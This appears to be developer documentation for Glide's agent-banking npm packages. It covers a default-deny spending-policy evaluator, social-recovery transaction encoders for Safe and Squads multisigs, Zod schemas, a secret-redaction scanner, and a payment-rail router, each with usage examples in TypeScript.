Pure-function policy-envelope evaluator for Glide agent banking. 14 axes, default-deny, chain-agnostic. Returns ALLOW / ALLOW_WITH_STEP_UP / DENY with reason codes.
Pure-function evaluator for Glide's `AgentPolicyEnvelope`. Given an envelope
and a `PolicyRequest`, `evaluate()` checks 14 independent policy axes and
returns a typed verdict with per-axis reason codes. No DB access, no network
calls, no side effects — the caller is responsible for fetching velocity
aggregates and for deciding whether the verdict enforces on Privy programmable
signing policy (EVM) or in a Redis state layer (Solana stateful axes).
The evaluator has default-deny semantics: any configured axis that cannot be
checked because required input is missing yields a `deny` reason rather than
silently passing. Axes that are `undefined` or carry empty arrays on the
envelope are skipped — "not configured" is not the same as "deny all" for most
axes (see the empty-allowlist table below).
## Install
```bash theme={null}
npm install @glideco/policy-engine
```
[npmjs.com/package/@glideco/policy-engine](https://www.npmjs.com/package/@glideco/policy-engine)
## Why pure functions?
A stateful evaluator couples tests to DB fixtures or Redis state. A pure
evaluator is a unit-testable function: every policy scenario is a data fixture
in a `describe` block. The caller fetches velocity aggregates from wherever they
live (Redis, Privy state, a Postgres materialized view) and passes them in as
`VelocityContext`. The engine doesn't care which source they came from.
This also means the engine is chain-agnostic. On EVM, Privy programmable signing
enforces `per_tx_max`, `counterparty_allowlist`, and `chain_allowlist` natively.
On Solana, stateful axes (`daily_cap`, `velocity_max_txs_per_day`) enforce in
the router's Redis layer. The same `evaluate()` call drives both paths.
## The 14 policy axes
| Axis | Input required | Empty-array semantic |
| ----------------------------------------- | ------------------------------------------------------------------------------ | ----------------------------------- |
| `chain_allowlist` | `request.counterparty.chain` | `deny` when counterparty is present |
| `amount_cap_cents_per_tx` | `request.amount_cents` | n/a (number) |
| `amount_cap_cents_per_day` | `velocity_context.amount_cents_spent_today` | n/a (number) |
| `amount_cap_cents_lifetime` | `velocity_context.amount_cents_spent_lifetime` | n/a (number) |
| `step_up_amount_cents` | `request.amount_cents` | n/a (soft trigger) |
| `counterparty_allowlist` | `request.counterparty` | `open` (any counterparty allowed) |
| `mcc_blocklist` | `request.mcc` | no-op |
| `mcc_allowlist` | `request.mcc` | `open` (any MCC allowed) |
| `geo_allowlist` | `request.geo` | `open` (any geo allowed) |
| `time_window_start` | `request.requested_at_unix` | n/a (optional) |
| `time_window_end` | `request.requested_at_unix` | n/a (optional) |
| `velocity_max_txs_per_hour` | `velocity_context.txs_in_last_hour` | n/a (number) |
| `velocity_max_txs_per_day` | `velocity_context.txs_in_last_day` | n/a (number) |
| `velocity_multiple_of_baseline_threshold` | `velocity_context.txs_in_last_hour` + `velocity_context.baseline_txs_per_hour` | n/a (number) |
`chain_allowlist: []` + a counterparty present → `deny`. This is the one axis
that defaults to deny rather than open when empty, because chain restriction is a
required posture for any agent that can transact.
## Basic evaluation
```ts theme={null}
import { evaluate } from '@glideco/policy-engine';
import type { AgentPolicyEnvelope, PolicyRequest } from '@glideco/policy-engine';
const envelope: AgentPolicyEnvelope = {
chain_allowlist: ['base', 'ethereum'],
amount_cap_cents_per_tx: 50_000, // $500.00
amount_cap_cents_per_day: 500_000, // $5,000.00
step_up_amount_cents: 25_000, // step-up at $250.00
counterparty_allowlist: [
{ address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045', chain: 'base', token: 'USDC' },
],
mcc_blocklist: ['7995', '7994'], // gambling MCCs
mcc_allowlist: [], // [] = open (allow any other MCC)
geo_allowlist: [], // [] = open (allow any geo)
velocity_max_txs_per_hour: 10,
velocity_max_txs_per_day: 50,
};
const request: PolicyRequest = {
action: 'transfer.sendUsdc',
amount_cents: 30_000, // $300.00 — above step-up threshold
currency: 'USDC',
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
requested_at_unix: Math.floor(Date.now() / 1000),
velocity_context: {
txs_in_last_hour: 2,
txs_in_last_day: 8,
amount_cents_spent_today: 45_000, // $450.00 already spent today
amount_cents_spent_lifetime: 210_000,
baseline_txs_per_hour: 3,
},
};
const verdict = evaluate(envelope, request);
// → { verdict: 'allow_with_step_up', reasons: [{ axis: 'step_up', ... }] }
```
## Handling deny
Any deny reason wins over a step-up trigger. The reasons array contains one
entry per failing axis:
```ts theme={null}
const overCap = evaluate(envelope, {
...request,
amount_cents: 60_000, // exceeds per_tx cap of 50_000
});
// → { verdict: 'deny', reasons: [{ axis: 'amount_per_tx', reason_id: 'per_tx_cap_exceeded', message: '...' }] }
// Multiple axes failing:
const multi = evaluate(envelope, {
...request,
amount_cents: 60_000,
counterparty: { address: '0xunknown', chain: 'arbitrum', token: 'USDC' },
});
// → { verdict: 'deny', reasons: [
// { axis: 'chain', reason_id: 'chain_not_allowed', ... },
// { axis: 'amount_per_tx', reason_id: 'per_tx_cap_exceeded', ... },
// ] }
```
## Missing velocity context
If the envelope configures a stateful axis (daily cap, velocity limits) but the
caller omits `velocity_context`, the evaluator returns `deny` with reason
`nil_input_velocity_context` rather than silently passing:
```ts theme={null}
const missing = evaluate(envelope, {
action: 'transfer.sendUsdc',
amount_cents: 10_000,
currency: 'USDC',
requested_at_unix: Math.floor(Date.now() / 1000),
// velocity_context omitted
});
// → { verdict: 'deny', reasons: [
// { axis: 'amount_per_day', reason_id: 'nil_input_velocity_context', ... },
// { axis: 'velocity_hour', reason_id: 'nil_input_velocity_context', ... },
// { axis: 'velocity_day', reason_id: 'nil_input_velocity_context', ... },
// ] }
```
## Narrowing detection for grant refresh
The package also exports `isNarrowingOrUnchanged`, used by the
`agent.grant.refresh` MCP tool to determine whether a policy update is safe to
apply without a principal step-up:
```ts theme={null}
import { isNarrowingOrUnchanged } from '@glideco/policy-engine';
const check = isNarrowingOrUnchanged(oldEnvelope, newEnvelope);
if (check.narrowed) {
// New policy is same or stricter on every axis — refresh without step-up.
await refreshGrant(grantId, newPolicyVersion);
} else {
// check.reason + check.details describe which axis was broadened.
// Caller must use agent.grant.issue with principal step-up instead.
return { error: 'policy_broadened', detail: check.reason };
}
```
Narrowing is checked per-axis:
* Amount caps: tighter = smaller number, or newly defined where previously absent.
* Allowlists: tighter = subset of the old list (every new entry must be in the old set).
* Blocklist: tighter = superset of the old list (removing a blocked MCC is broadening).
* Any single broadening on any axis → `narrowed: false`.
## Reading list
* [AgentPolicyEnvelope schema](https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json) —
the canonical schema for the envelope this package evaluates.
* [`@glideco/grant-wrapper`](/oss/packages/grant-wrapper) — calls
`evaluate()` indirectly; `ctx.policy_version` from `verifyGrant` feeds the
stale-policy detection path.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the
F-rules that this engine's default-deny semantics reinforce.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/policy-engine)
# @glideco/recovery
Source: https://glide-9da73dea.mintlify.app/oss/packages/recovery
Pure encoders for Safe + Zodiac Delay (EVM) and Squads v4 (Solana) social-recovery proposals. I/O-free; operators wire their own KMS signer and RPC client.
Pure encoders for Glide's social-recovery primitives on two chains. The EVM side
targets Safe + Zodiac Delay Module v1.0.1: deploy and enable the module, queue a
recovery action into the 72-hour cooldown, execute after cooldown, cancel via
`setTxNonce`, and read on-chain queue state. The Solana side targets Squads v4:
compose the propose-triple (config-tx-create + proposal-create + proposal-approve)
for owner and threshold changes, plus proposal-cancel and config-transaction-execute
for the veto and execute paths.
Every export is a pure function that produces calldata bytes (EVM) or
`EncodedInstruction` (a serialisable wire shape exporting `accountMetas[]`,
`data`, `programId` — convertible to `web3.js TransactionInstruction` via the
helper) objects (Solana). The package is I/O-free: operators wire their own
KMS-held signer, chain RPC client, and DB. No signer loading, no network calls,
no state machine persistence — those live in the operator's application layer.
## Install
```bash theme={null}
npm install @glideco/recovery
```
[npmjs.com/package/@glideco/recovery](https://www.npmjs.com/package/@glideco/recovery)
## Why pure encoders?
A recovery package that bundles a KMS client, an RPC provider, and a state
machine is hard to audit, hard to test offline, and harder to replace when
dependencies change. Pure encoders separate the cryptographic and structural
work (what bytes to sign) from the operational work (who holds the key, which
RPC to call, how to persist state). The operator owns the sensitive parts;
this package owns the encoding.
The allowlist of accepted instruction discriminators (Solana) belongs in the
encoder package rather than the broadcaster because the broadcaster is the only
thing that can enforce it, and it needs the canonical set from the same source
that builds the instructions.
## EVM — enable recovery on a Safe
The first step generates the deterministic Delay Module address and a
two-call bundle (deploy + enable). One user-signed Safe transaction activates
recovery:
```ts theme={null}
import {
composeEnableRecoveryModuleCalls,
RECOVERY_COOLDOWN_SECONDS,
RECOVERY_EXPIRATION_SECONDS,
} from '@glideco/recovery';
const safeAddress = '0xA1B2c3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0';
const recoveryKeyAddress = '0xC3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0C1D2'; // Glide KMS (Seat R)
const setup = composeEnableRecoveryModuleCalls({
// The Safe address — enableModule must be called by the Safe itself
safe: safeAddress,
// DelayInitializerInput: configures the Delay module's owner, avatar, target, cooldown
initializer: {
owner: recoveryKeyAddress, // address allowed to queue recovery txs
avatar: safeAddress, // the Safe whose balance is acted on
target: safeAddress, // where execTransactionFromModule routes (== avatar)
cooldown: RECOVERY_COOLDOWN_SECONDS, // 72h default
expiration: RECOVERY_EXPIRATION_SECONDS, // 7d window to execute after cooldown
},
// Optional: masterCopy defaults to Zodiac Delay v1.0.1
// Optional: saltNonce defaults to 0n (first deployment on this Safe+chain pair)
});
// setup.moduleAddress — deterministic CREATE2 address for the Delay module
// setup.deploy — { to, value, data } call to deploy via ModuleProxyFactory
// setup.enable — { to, value, data } call to enableModule on the Safe
// Combine into a Safe multi-send and collect the user's signature:
const safeTx = buildMultiSend([setup.deploy, setup.enable]);
```
## EVM — queue and execute a recovery action
`composeRecoveryAction` is the high-level entry point. It takes the Safe + Delay
module addresses and a discriminated action spec, and returns the `innerTx` to
persist plus the pre-composed `queueCall` and `executeCall` the router broadcasts:
```ts theme={null}
import { composeRecoveryAction } from '@glideco/recovery';
// Recovery key proposes rotating to a new owner (e.g., after key loss):
const composed = composeRecoveryAction({
safe: '0xA1B2c3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0',
delayModuleAddress: setup.moduleAddress,
action: {
kind: 'swap_owner',
prevOwner: '0x0000000000000000000000000000000000000001', // sentinel — caller reads Safe.getOwners()
oldOwner: '0xB2C3d4E5f6A7b8C9D0e1F2a3B4C5d6E7F8a9B0C1', // lost key
newOwner: '0xC3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0C1D2', // replacement key
},
});
// Persist composed.innerTx to DB (status='pending')
// composed.queueCall — { to: delayModule, value: '0', data: '0x...' } — recovery key signs + broadcasts
// composed.executeCall — { to: delayModule, value: '0', data: '0x...' } — anyone broadcasts after cooldown
// composed.safe, composed.delayModuleAddress — echo of inputs (lowercased)
// composed.kind — 'swap_owner'
// composed.summary — human-readable one-liner for audit logs
// After 72h cooldown, broadcast the pre-composed execute call:
// (re-read innerTx from DB to ensure byte-stable replay)
const executeCall = composed.executeCall;
```
## EVM — read on-chain Delay Module queue state
```ts theme={null}
import { readDelayModuleQueueState } from '@glideco/recovery';
import { JsonRpcProvider } from 'ethers';
const provider = new JsonRpcProvider('https://mainnet.base.org');
const state = await readDelayModuleQueueState({
delayModuleAddress: setup.moduleAddress,
provider,
});
// state = {
// cooldownSeconds: 259200, // 72h
// expirationSeconds: 604800, // 7d window to execute after cooldown
// queueNonce: 1n, // next item to queue
// txNonce: 0n, // next item to execute (execute < queue = items pending)
// }
```
## Solana — Squads v4 recovery
The Squads encoder expands `swap_owner` into the two-instruction sequence
(RemoveMember + AddMember) because Squads v4 has no atomic SwapMember
instruction. The propose-triple is always three instructions:
config-tx-create, proposal-create, proposal-approve:
```ts theme={null}
import {
composeSolanaRecoveryAction,
composeSolanaCancelRecoveryInstruction,
recomposeSolanaExecuteRecoveryInstruction,
} from '@glideco/recovery';
// Seat R (recovery key) proposes swapping a lost member:
const composed = composeSolanaRecoveryAction({
multisigPda: 'GrAkKfEpTKQuVHG2Y97Y2FF4i7y7Q5AHLK94KB5hwkhU',
transactionIndex: BigInt(7),
currentThreshold: 2,
creator: '4Nd1mBQtrMJVYVfKf2PX98HegncxXSystemRecoveryKey', // Seat R base58 pubkey
recoveryActionId: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', // DB row UUID — embedded in on-chain memo
action: {
kind: 'swap_owner',
oldMember: '4Nd1mBQtrMJVYVfKf2PX98HegncxXLostKeyPubkey1', // base58 — lost key
newMember: 'DHmk7x1qGQUos2nsfQ3sJMnFHRWXYReplacementKey1', // base58 — replacement key
},
});
// composed.proposeInstructions — [configTxCreate, proposalCreate, proposalApprove] (EncodedInstruction[])
// composed.executeInstruction — pre-composed configTransactionExecute (EncodedInstruction)
// composed.innerTx — SolanaInnerTx payload to persist in DB for replay
// composed.multisigPda — echo of input
// composed.transactionIndex — decimal string of the u64 index
// composed.kind — 'swap_owner'
// composed.summary — human-readable one-liner for audit logs
// User-initiated veto before cooldown ends:
const cancel = composeSolanaCancelRecoveryInstruction({
multisigPda: 'GrAkKfEpTKQuVHG2Y97Y2FF4i7y7Q5AHLK94KB5hwkhU',
transactionIndex: BigInt(7),
member: 'UserSeatAPubkeyBase58xxxxxxxxxxxxxxxxxxxxxxxxxxxx', // user's Seat A pubkey
recoveryActionId: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', // same DB row UUID — for cancel memo
});
// returns a single EncodedInstruction (proposalCancel)
// Execute after cooldown — recompose from the persisted inner_tx:
const exec = recomposeSolanaExecuteRecoveryInstruction({
innerTx: composed.innerTx, // SolanaInnerTx from DB — NOT re-derived from scratch
member: '4Nd1mBQtrMJVYVfKf2PX98HegncxXSystemRecoveryKey', // Seat R — any multisig member works
});
// returns a single EncodedInstruction (configTransactionExecute)
```
## Solana — instruction-discriminator allowlist
The package exports the canonical set of accepted instruction discriminators for
the broadcaster's calldata-pinning check. Any instruction outside this set in a
recovery transaction is rejected before broadcast:
```ts theme={null}
import {
RECOVERY_ALLOWED_INSTRUCTION_HEX,
extractInstructionDiscriminatorHex,
} from '@glideco/recovery';
for (const ix of versionedTx.message.compiledInstructions) {
const disc = extractInstructionDiscriminatorHex(ix.data);
if (!RECOVERY_ALLOWED_INSTRUCTION_HEX.has(disc)) {
throw new Error(`recovery tx contains a non-recovery instruction: ${disc}`);
}
}
```
The allowlist covers config-tx-create, proposal-create, proposal-approve,
proposal-cancel, and config-transaction-execute discriminators for Squads v4.
## What this package does NOT include
* KMS or file-based signer loading (`ethers.Wallet`, `Keypair.fromSecretKey`, etc.).
* Database persistence of the multi-step recovery state machine.
* The Inngest cron that ticks queued EVM recoveries through cooldown → execute.
* Authorization checks — "is this principal allowed to start recovery on this vault?"
These live in
[`apps/web/src/server/lib/user-multisig/`](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/src/server/lib/user-multisig)
in the source repo as a reference implementation operators can fork.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F2
(CAS-claim before broadcast) applies to the recovery broadcaster that
consumes this package's output.
* [`@glideco/grant-wrapper`](/oss/packages/grant-wrapper) — the recovery
flow issues a scoped grant for Seat R; `verifyGrant` gates every
recovery-tool call before encoding begins.
* [Zodiac Delay Module](https://github.com/gnosisguild/zodiac-modifier-delay) —
upstream module reference; the constants and ABI fragments in this package
target v1.0.1.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/recovery)
# @glideco/schemas
Source: https://glide-9da73dea.mintlify.app/oss/packages/schemas
Zod schemas and closed-vocabulary types for Glide agent banking. TypeScript source of truth for the JSON Schemas published at glide.co/schemas/agent-banking.
Zod schemas and closed-vocabulary types for Glide agent banking. Every schema
in this package serves two purposes: it validates data at runtime in TypeScript,
and it generates the JSON Schema documents published at
`glide.co/schemas/agent-banking/v1/*` via a build script that converts
Zod's output to JSON Schema 2020-12.
The TypeScript schemas are the source of truth. The published JSON Schemas
are downstream artifacts — derived, not maintained by hand.
## Install
```bash theme={null}
npm install @glideco/schemas
```
[npmjs.com/package/@glideco/schemas](https://www.npmjs.com/package/@glideco/schemas)
## Zod schemas vs. JSON Schemas
| Layer | Where it lives | Who uses it |
| ------------ | ------------------------------------------ | ------------------------------------------------------------------------ |
| Zod schemas | `packages/schemas/src/*.ts` (this package) | TypeScript / tRPC / MCP server — parse and throw at runtime |
| JSON Schemas | `glide.co/schemas/agent-banking/v1/*.json` | External implementers, validators in other languages, the standards docs |
The build script at `scripts/build-json-schemas.mjs` calls Zod's JSON Schema
converter, wraps each output with `wrapSchema()` to add the canonical `$id`,
and writes both `apps/web/public/schemas/` (the served copy) and `dist/schemas/`
(the standalone artifact). The `$id` URL is what external consumers should
cite — the host is a deployment detail.
## Published schema names
| Schema name | Published v1 URL |
| ----------------------- | ---------------------------------------------------------------------- |
| `connector-manifest` | `https://glide.co/schemas/agent-banking/v1/connector-manifest.json` |
| `agent-policy-envelope` | `https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json` |
| `agent-activity-event` | `https://glide.co/schemas/agent-banking/v1/agent-activity-event.json` |
| `trust-tier` | `https://glide.co/schemas/agent-banking/v1/trust-tier.json` |
| `scoped-grant-claims` | `https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json` |
| `skill-manifest` | `https://glide.co/schemas/agent-banking/v1/skill-manifest.json` |
| `grant` | `https://glide.co/schemas/agent-banking/v1/grant.json` |
| `receipt` | `https://glide.co/schemas/agent-banking/v1/receipt.json` |
The served `/v1/` documents are the published channel. The `/draft/` paths remain compatibility aliases. Some descriptive metadata still uses the older channel; use the runtime source when checking enforcement behavior.
## Core schemas
**AgentPolicyEnvelope** — the 14-axis policy evaluated by `@glideco/policy-engine`
on every agent tool call. Covers amount caps (per-tx, per-day, lifetime),
step-up threshold, counterparty allowlist, velocity limits, chain allowlist,
geo allowlist, MCC allow/block lists, and an absolute time window. An empty
`counterparty_allowlist` leaves that axis unrestricted. Populate it to restrict recipients. An empty `chain_allowlist` denies requests that include a counterparty.
**GrantClaims** — OAuth 2.0 / RFC 7519 JWT claims with RFC 8707 resource
indicators. The `aud` field carries both `vault_id` and `entity_id` (non-standard
object form); verifiers must check both. Max TTL is 60 minutes enforced by
`grantClaimsValidatedSchema`. The `act` (RFC 8693 actor) claim is always required
— missing means denied at the verifier.
**Receipt** — the tool-call receipt persisted in `activity_log` after every
money-touching MCP call settles. `on_chain_tx` is server-fetched from chain RPC,
never from a facilitator response body — a money-safety rule inherited from
x402.pay client-receipt-trust learnings.
**AgentScope** — closed vocabulary of 15 MCP scopes a grant can carry. Adding a
scope is a CODEOWNERS-protected change because the policy-engine evaluator must
understand the same set.
## Usage
```ts theme={null}
import { AgentPolicyEnvelope, GrantClaims, Receipt, agentScopeSchema } from '@glideco/schemas';
// Parse and throw on schema mismatch.
const envelope = AgentPolicyEnvelope.parse(rawJson);
// Validate grant claims including the 60-min TTL cap.
import { grantClaimsValidatedSchema } from '@glideco/schemas';
const claims = grantClaimsValidatedSchema.parse(jwtPayload);
// Validate a receipt before persisting it.
const receipt = Receipt.parse(activityLogRow);
// Check a scope string is in the closed vocabulary.
const scope = agentScopeSchema.parse('payments:initiate');
```
## CAIP-2 translation
`@glideco/schemas` exports `chainIdToCaip2()` and `caip2ToChainId()` for
translating between Glide's internal short-ids (`eth`, `sol`) and the
CAIP-2 wire form that x402, AP2, and ACP protocols carry.
```ts theme={null}
import { chainIdToCaip2, caip2ToChainId } from '@glideco/schemas';
chainIdToCaip2('eth'); // → 'eip155:1'
caip2ToChainId('eip155:8453'); // → 'base'
caip2ToChainId('eip155:9999'); // → null (callers must return 400, not fallback)
```
`BSC` (`bsc`) is deliberately excluded: USDC on BSC has 18 decimals vs. 6
everywhere else, which would silently underflow amount-in-cents math by 10^12.
## Building a JSON Schema for publication
```ts theme={null}
import { z } from 'zod';
import { wrapSchema, buildSchemaId } from '@glideco/schemas';
// Convert any Zod schema to a wrapped JSON Schema ready for publication.
const body = z.toJSONSchema(myZodSchema);
const wrapped = wrapSchema('grant', body, {
channel: 'draft',
title: 'Glide Grant Claims',
description: 'RFC 7519 JWT claims for an agent banking grant.',
});
// wrapped.$id → 'https://glide.co/schemas/agent-banking/v1/grant.json'
```
## Reading list
* [Standards overview](/oss/standards/index) — the public standards namespace these schemas underpin.
* [ConnectorManifest standard](/oss/standards/connector-manifest)
* [AgentPolicyEnvelope standard](/oss/standards/agent-policy-envelope)
* [`@glideco/policy-engine`](https://www.npmjs.com/package/@glideco/policy-engine) — evaluates `AgentPolicyEnvelope` at runtime.
* [`@glideco/kya-vc`](/oss/packages/kya-vc) — uses `canonicalJson` from this package for VC signing.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/schemas)
# @glideco/secrets-scan
Source: https://glide-9da73dea.mintlify.app/oss/packages/secrets-scan
Denylist + entropy secret scanner. Catches JWTs, API keys, PEM blocks, and private keys before they leak to logs or audit streams.
Two-pass secret scanner. The first pass matches known-format secrets against
curated regexes; the second catches high-entropy opaque blobs that didn't
match any pattern. Used in the Glide Trust Console event ingestion pipeline
to redact `ReasoningStepEvent.excerpt` before persistence, and as a CI gate
on every PR via `scripts/scan-secrets.mjs`.
## Install
```bash theme={null}
npm install @glideco/secrets-scan
```
[npmjs.com/package/@glideco/secrets-scan](https://www.npmjs.com/package/@glideco/secrets-scan)
## What it catches
| Kind | Detection method | Example pattern |
| -------------------- | ------------------ | ----------------------------------------------------- |
| `jwt` | denylist | `eyJ…` three-part structure |
| `pem-block` | denylist | `-----BEGIN … PRIVATE KEY-----` |
| `aws-access-key` | denylist | `AKIA[A-Z0-9]{16}` |
| `aws-secret-key` | denylist + context | contextual prefix required (`aws_secret_access_key=`) |
| `stripe-key` | denylist | `sk_live_`, `pk_test_`, `rk_live_` + 20+ chars |
| `github-pat` | denylist | `ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_` + 30+ chars |
| `slack-token` | denylist | `xox[abprs]-` |
| `gcp-key` | denylist | `AIza[0-9A-Za-z_-]{35}` |
| `anthropic-key` | denylist | `sk-ant-` + 20+ chars |
| `openai-key` | denylist | `sk-` + 20+ chars (after anthropic-key check) |
| `oauth-code` | denylist | `access_token=`, `refresh_token=` + value |
| `evm-private-key` | denylist + context | contextual prefix + `0x[a-f0-9]{64}` |
| `solana-private-key` | denylist + context | contextual prefix + base58 86–90 chars |
| `bearer` | denylist | `Bearer ` + 20–128 chars |
| `high-entropy` | entropy | ≥ 4.5 bits/char × ≥ 30 chars, not already redacted |
Anthropic keys are matched before OpenAI keys in the denylist order because
both share the `sk-` prefix — earlier rules win when ranges overlap.
## Basic usage
```ts theme={null}
import { scan } from '@glideco/secrets-scan';
const result = scan(
'key=AKIAIOSFODNN7EXAMPLE token=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
);
console.log(result.redactions);
// [
// { kind: 'aws-access-key', match: 'AKIAIOSFODNN7EXAMPLE', start: 4, end: 24, reason: 'denylist' },
// { kind: 'github-pat', match: 'ghp_xxxx...', start: 32, end: 69, reason: 'denylist' },
// ]
console.log(result.redacted);
// 'key=[REDACTED:aws-access-key] token=[REDACTED:github-pat]'
```
## Tuning the entropy pass
```ts theme={null}
import { scan } from '@glideco/secrets-scan';
// Turn off entropy for inputs that are naturally high-entropy
// (e.g. base64-encoded binary payloads, transaction hashes).
const result = scan(txHashHeavyLogLine, { disableEntropy: true });
// Tighten entropy threshold (default 4.5 bits/char, default min length 30).
const strict = scan(inputText, {
entropyBitsPerChar: 4.8,
entropyMinLength: 40,
});
```
## Custom redaction marker
```ts theme={null}
import { scan } from '@glideco/secrets-scan';
const result = scan(input, {
marker: (kind) => ``,
});
// → 'prefix suffix'
```
## Concurrent safety
Each `scan()` call clones every denylist regex so concurrent invocations
cannot race on the shared `lastIndex` state of a stateful global `RegExp`.
The Trust Console event ingestion path runs `scan()` in parallel under load —
sharing `lastIndex` would make the second concurrent scan's first-match index
non-deterministic, silently letting secrets through.
## Two-pass design
**Pass 1 — denylist.** 14 patterns, each with its own cloned `RegExp` instance.
Shape-only kinds (EVM private key, Solana private key, AWS secret key, Bearer
token) require a contextual word on the same line — "private", "secret", "key",
"seed", "Bearer" — so the scanner doesn't redact every transaction hash that
happens to be a 64-hex string.
**Pass 2 — entropy.** Shannon entropy (bits/character) on whitespace-tokenized
fragments not already covered by a denylist redaction range. Default threshold
is 4.5 bits/char over at least 30 characters — high enough to catch typical
API key formats, low enough to avoid false-positives on English prose.
```ts theme={null}
import { shannonEntropyBitsPerChar } from '@glideco/secrets-scan';
// Inspect the entropy score of a specific string.
const score = shannonEntropyBitsPerChar('sk-ant-api03-abcdef1234567890');
// → ~4.8 (above the 4.5 default threshold)
```
## CI gate
The Cathedral CI pipeline runs `node scripts/scan-secrets.mjs` on every PR.
The script calls `scan()` on all staged file contents and exits non-zero on
any redaction. Use `disableEntropy: true` on directories that legitimately
contain long base64 blobs (e.g. `test/fixtures/`).
## Reading list
* [Trust Console concepts](/agents/receipts) — how `ReasoningStepEvent` excerpts flow through the scanner before persistence.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/secrets-scan)
# @glideco/smart-router
Source: https://glide-9da73dea.mintlify.app/oss/packages/smart-router
Pure-function payment rail selection. Cheapest-first sort, latency tiebreaker, internal-vault short-circuit, policy filtering.
Pure-function core of `glide.pay()`. Takes pre-quoted rail candidates and returns a ranked failover list — or immediately short-circuits to a free internal transfer when the destination is a same-entity Glide vault on the same chain.
No IO. The 50ms quote-race timeout and connector dispatch live in the caller. The router's job is to sort, filter, and truncate.
## Install
```bash theme={null}
npm install @glideco/smart-router
```
[npmjs.com/package/@glideco/smart-router](https://www.npmjs.com/package/@glideco/smart-router)
## Why pure functions
The router executes in the hot path of every `glide.pay()` call. Keeping it IO-free means its sorting and filtering are deterministic, and testable without network stubs. The caller owns the quote-fetch race, the `pay_attempts` claim loop, and the saga reaper. The router only decides order.
Separating the decision from the dispatch also makes the double-spend contract explicit: the router returns a list; the caller must claim each attempt atomically in the `pay_attempts` table and wait for on-chain confirmation before failing over. A naive `catch → next candidate` loop can double-spend across rails if a broadcast succeeded but the HTTP response was dropped. That contract is documented in `router.ts` and enforced via tests in `apps/web/tests/smart-router-dispatch-contract.test.ts`.
## Rails
The `rail` enum covers the full Glide payment surface: `x402-evm`, `x402-svm`, `x402-stellar`, `x402-tempo`, `mpp-tempo`, `mpp-svm`, `mpp-session`, `stripe-mpp`, `lightning`, `internal`, `self-custody-evm`, `self-custody-svm`, `self-custody-xchain`.
## API surface
### `routePayment(args): RouteDecision`
```ts theme={null}
import { routePayment } from '@glideco/smart-router';
const decision = routePayment({
intent: {
amount_cents: 5000,
destination: '0xabc...def',
chain: 'base',
currency: 'USDC',
urgency: 'normal',
idempotency_key: 'pay_2024_invoice_007',
},
candidates: [
{
connector_slug: 'bridge',
rail: 'x402-evm',
quoted_fee_cents: 12,
quoted_latency_p95_ms: 800,
is_fiat: false,
has_quote_side_effect: false,
},
{
connector_slug: 'monerium',
rail: 'mpp-tempo',
quoted_fee_cents: 5,
quoted_latency_p95_ms: 1200,
is_fiat: false,
has_quote_side_effect: false,
},
],
policy: {
fiat_only: false,
crypto_only: false,
allowed_connector_slugs: [],
exclude_side_effecting_from_failover: true,
max_failover_attempts: 4,
},
is_internal_vault: false,
});
// decision.ordered[0].connector_slug → 'monerium' (cheaper)
// decision.reason → '2 candidates after policy filter; sorted by fee ASC...'
```
### Internal-vault short-circuit
When `is_internal_vault` is `true`, the router returns a single `glide-internal` candidate with zero fee and 50ms p95 latency — no quote-race, no failover, no vendor call.
```ts theme={null}
const decision = routePayment({
intent,
candidates,
policy,
is_internal_vault: true,
});
if (isInternalVaultRoute(decision)) {
// decision.ordered[0].rail === 'internal'
// decision.ordered[0].quoted_fee_cents === 0
}
```
### Policy filtering
```ts theme={null}
// Crypto-only, limited to two connectors, 2 failover attempts max
const decision = routePayment({
intent,
candidates,
is_internal_vault: false,
policy: {
fiat_only: false,
crypto_only: true,
allowed_connector_slugs: ['bridge', 'monerium'],
exclude_side_effecting_from_failover: true,
max_failover_attempts: 2,
},
});
```
`fiat_only` and `crypto_only` are mutually exclusive — the schema rejects both being `true` at parse time rather than silently returning an empty list.
## Receipt shapes
The package exports two discriminated receipt schemas for the post-dispatch audit writer: `OnchainReceipt` (`kind: 'onchain'` — txHash, verified amount, verified recipient) and `FiatReceipt` (`kind: 'fiat'` — vendor tx id, `settlement_status`). Use `SmartRouterSchemas.receipt` to parse the right shape.
## Side-effecting connectors
Some connectors create vendor-side state during the quote phase (Aeon's `prepareOfframp` creates a vendor order; Manteca creates a vendor-side order ID). These must be excluded from the failover pool — a failed-over retry would leave a phantom order that requires manual cleanup. Pass `has_quote_side_effect: true` on those candidates and `exclude_side_effecting_from_failover: true` on the policy. The router drops them entirely; route them via a dedicated direct-dispatch path instead.
## Reading list
* [`@glideco/parley-tiers`](/oss/packages/parley-tiers) — projects router output into a turbo/fast/batch tier vocabulary for agent chooser UIs.
* [`@glideco/crosschain-bridge`](/oss/packages/crosschain-bridge) — quote + dispatch shapes for cross-chain candidates fed into this router.
* [Agent Policy Envelope schema](/oss/standards/agent-policy-envelope) — the policy format agents carry.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/smart-router)
# @glideco/spend-export
Source: https://glide-9da73dea.mintlify.app/oss/packages/spend-export
Typed receipt schema + CSV / JSON Lines / QBO IIF / Xero exports for agent spend. costillery-compatible with Glide augmentations.
